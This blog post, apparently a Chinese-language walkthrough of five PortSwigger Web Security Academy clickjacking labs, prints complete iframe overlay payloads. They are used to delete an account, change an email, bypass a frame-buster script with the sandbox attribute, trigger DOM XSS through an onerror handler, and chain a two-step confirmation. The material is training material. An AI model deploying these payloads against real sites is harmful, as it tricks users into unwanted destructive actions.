赞
踩
这是BurpSuit官方的实验室靶场,以下将记录个人点击劫持共5个Lab的通关过程
Basic clickjacking with CSRF token protection
带CSRF令牌保护的基本点击劫持
目标:官方给了一个账号密码wiener:peter,让我们登陆到后台,后台有删除功能。我们构造payload页面并显示click me一词让受害者进行点击。
后台的删除功能,我们要做的就是构造诱导用户点击这个删除按钮,该页面地址为(payload需要用到)
https://0ae9004604abaa52c04e12520045005c.web-security-academy.net/my-account
我们的payload利用了iframe标签,以下是body中的内容,其中的width、height、top、left需要自行调节对准即可,opacity透明度设为0.1方便调整,在真实情况设为0将它隐藏,用户不会知道自己点了什么
<style> iframe { position:relative; width: 500px; height: 700px; opacity: 0.1; z-index: 2; } div { position:absolute; top:500px; left:60px; z-index: 1; } </style> <div>Test me</div> <iframe src="https://0ae9004604abaa52c04e12520045005c.web-security-academy.net/my-account"></iframe>
在exploit server页面添加我们的payload看看效果
效果如下,点击Test me真就删了千万不要点
效果不错,我们最终更改payload的透明度并把Test me改为Click me
<style> iframe { position:relative; width: 500px; height: 700px; opacity: 0; z-index: 2; } div { position:absolute; top:500px; left:60px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0ae9004604abaa52c04e12520045005c.web-security-academy.net/my-account"></iframe>
这次啥也看不见了,受害者会好奇的点击我们的Click me,此时其实完成了删除用户的操作
验证结果,点击Deliver exploit to victim成功通关
Clickjacking with form input data prefilled from a URL parameter
使用从URL参数预填充的表单输入数据单击劫持
这次目标变了,让我们更改用户的邮箱
定准位和lab1一样,找到update email接口的url更改iframe的src即可,最终payload如下
<style> iframe { position: relative; width: 500px; height: 700px; opacity: 0; z-index: 2; } div { position: absolute; top: 450px; left: 80px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0a5d00cc033dfde8c0712b5e00060032.web-security-academy.net/my-account?email=tpaer@hack.com"></iframe>
Clickjacking with a frame buster script
用框架克星脚本点击劫持
这关表明看起来和lab2是一样的,也是邮箱
但是用和lab2一样的payload发现这个站点并不能被iframe框架化。因为可以框架化的站点都可能会遭受点击劫持攻击,开发时可能会做出一些防护设置如
检查并强制将当前应用程序窗口设置为主窗口或顶级窗口
让所有框架不透明化
阻止点击透明的框架
拦截并标记潜在的点击劫持攻击位置
这种技术防护是基于浏览器和平台的,有的浏览器会阻止运行破坏框架脚本或不支持运行JS脚本,攻击时有很多方法可以绕过。
通过iframe沙箱属性sanbox="allow-forms"进行绕过,最终payload如下
<style> iframe { position: relative; width: 500px; height: 700px; opacity: 0; z-index: 2; } div { position: absolute; top: 445px; left: 80px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0ab000ca03c23aa4c00f023f005d00cd.web-security-academy.net/my-account?email=tpaer@hack.com" sandbox="allow-forms"></iframe>
Exploiting clickjacking vulnerability to trigger DOM-based XSS
利用点击劫持漏洞触发基于DOM的XSS
这关是DOM XSS与iframe结合进行攻击。
一个提交页面
寻找可用的DOM,源码发现引入了一个js文件
查看源码发现存在DOM XSS的部分
通过iframe成功帮助实现DOM XSS攻击
最终payload如下
<style> iframe { position:relative; width: 700px; height: 500px; opacity: 0; z-index: 2; } div { position:absolute; top:415px; left:80px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0a1e00db03d7474cc0aa2590001200a3.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=tpa@hack.com&subject=test&message=test#feedbackResult"></iframe>
Multistep clickjacking
多步点击劫持
这一关要诱导用户点击多个按钮
在点击完删除按钮后,会跳转页面需要进行确认
效果如下,第一个按钮
第二个按钮
最终payload
<style> iframe { position:relative; width: 500px; height: 700px; opacity: 0; z-index: 2; } .firstClick, .secondClick { position:absolute; top:495px; left:40px; z-index: 1; } .secondClick { top:290px; left:210px; } </style> <div class="firstClick">Click me first</div> <div class="secondClick">Click me next</div> <iframe src="https://0a4d002d03b4a808c055056300d200b8.web-security-academy.net/my-account"></iframe>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。